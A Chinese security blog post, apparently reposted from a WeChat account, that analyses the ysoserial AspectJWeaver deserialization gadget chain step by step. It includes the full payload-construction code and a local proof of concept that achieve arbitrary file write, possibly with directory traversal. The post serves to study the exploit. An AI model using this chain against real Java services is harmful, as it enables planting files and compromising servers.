AspectJWeaver链分析
小工具链
首先看yso的gadget chain
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
能看出来最终达成的效果是任意文件写
依赖
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
cc3.2.2及以下,aspectjweaver及以下依赖,当然这是一个组合,可以分为两部分自然也可以拆开再找到其他可利用的进行组合
ysoPayload
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
分析数据流
在java.util.HashSet#readObject函数末尾,调用了java.util.HashMap#put
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Constructing the backing map will lazily create an array when the first element is
// added, so check it before construction. Call HashMap.tableSizeFor to compute the
// actual allocation size. Check Map.Entry[].class since it's the nearest public type to
// what is actually created.
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
为什么map是HashMap对象?可以看payload中HashSet的初始化
HashSet map = new HashSet(1);
对应的HashSet构造函数
public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity);
}
HashMap.put参数是e和一个空对象
PRESENT空对象:
private static final Object PRESENT = new Object();
而e是调用java.io.ObjectInputStream#readObject从序列化数据中读取的TiedMapEntry对象,也就是payload中创建的
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
为什么java.io.ObjectInputStream#readObject从序列化数据中读出的是TiedMapEntry对象?
首先
-
HashSet中的所有对象都保存在内部HashMap的key中,以保证唯一性
-
HashMap的每个key->value键值对保存在一个命名为table的Node类数组中,每次调用HashMap#get方法时,实际时从这个数组中获取值
而在 HashSet 的 方法中,会依次调用map也就是 HashMap中每个元素的 方法来实现序列化writeObject()
writeObject()
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
相应的,在反序列化过程中,会依次调用每个元素的 方法,然后将其作为 (value 为固定值) 依次放入 HashMap 中readObject()
key
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
所以这里的e就是HashMap中的元素,然后再看payload中的反射部分
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
首先获取了HashSet的map属性值,也就是HashMap对象
然后再进一步获取HashMap对象中的table属性值,然后从table中获取索引0或1的对象,该对象为HashMap$Node
最后从HashMap$Node类中获取key这个field,并修改为tiedMapEntry(原本是通过java.util.HashSet#add添加的”foo”对象)
结合上面的readObject分析,可以知道此时e为构造好的tiedMapEntry对象
再看java.util.HashMap#put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
调用了java.util.HashMap#hash,此时key为上文的TiedMapEntry对象
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
在继续调用了key对象的hashCode方法,即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
往下调用了org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
public Object getValue() {
return map.get(key);
}
在getValue调用了map属性的get函数参数为key属性,map和key属性在构造函数时就已经初始化完成
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
payload中构造TiedMapEntry的初始化
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
所以map此时为lazyMap对象,调用的org.apache.commons.collections.map.LazyMap#get,key为filename也就是输入的文件名
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
LazyMap的map属性是什么,可以先回到payload看LazyMap的构造
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
LazyMap的初始化函数
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
调用构造函数
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
这也是为什么payload中为什么content要创建Transformer对象
Transformer ct = new ConstantTransformer(content);
查看父类的构造函数
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}
不为空就赋值map,而factory是由org.apache.commons.collections.functors.FactoryTransformer#getInstance获取到的,存储的是文件内容
所以此时的map为payload中的SimpleCache$StorableCachingMap且此时key不包含filename就会调用org.apache.commons.collections.functors.ConstantTransformer#transform获取了文件内容的字节流,在步入到
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中,这里是这条链的关键
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[])((byte[])value);
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes);
}
Object result = super.put(key, path);
this.storeMap();
return result;
} catch (IOException var6) {
this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), var6);
Dump.dumpWithException(var6);
return null;
}
}
此时key为文件名,value为文件内容的字节流
首先判断了字节数组是否和SimpleCache.SAME_BYTES相等,这是一个常量
private static final byte[] SAME_BYTES = "IDEM".getBytes();
然后进入到org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
此时key为文件名,bytes为文件内容字节数组,folder是初始化时赋予的
private StoreableCachingMap(String folder, int storingTimer) {
this.folder = folder;
this.initTrace();
this.storingTimer = storingTimer;
}
再看payload
Object simpleCache = ctor.newInstance(".", 12);
yso默认创建在当前文件夹(当然也可以自己进行目录穿越),然后直接将字节流写入文件中,达到了任意文件写的效果
非预期避免
从上面的分析可以知道payload大量的反射是为了将TiedMapEntry这个对象添加到HashSet的HashMap的元素中,那么为什么不直接通过HashSet.add()将TiedMapEntry添加到其中呢?
为了分析这个问题,首先在本地构造payload
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
declaredConstructor.setAccessible(true);
Object map = declaredConstructor.newInstance(".", 111);
Transformer ct = new ConstantTransformer("test".getBytes(StandardCharsets.UTF_8));
Map lazyMap = LazyMap.decorate((Map) map,ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"1.txt");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output"));
oos.writeObject(hashSet);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output"));
ois.readObject();
}
本地使用这段payload进行debug时能够发现,writeToPath被触发了两次
第一次的调用栈
writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
add:220, HashSet (java.util)
main:25, AspectJWeaver
也就是在构造payload的时候就在本地触发了文件写的操作,HashSet.add直接调用了HashMap的put方法
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
调用了HashMap的put方法此时的e是我们add的tiedMapEntry对象,和上文分析中readObject中获取的tiedMapEntry对象一样是构造好的,所以调用了java.util.HashMap#put后就完全一样走到文件写入的sink了
所以通过反射去将HashSet中HashMap的元素更改为tiedMapEntry对象可以避免非预期的文件写入
参考
-
https://www.cnblogs.com/bitterz/p/15305894.html
-
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
如需进群进行技术交流,请扫该二维码
原文始发于微信公众号(衡阳信安):AspectJWeaver链分析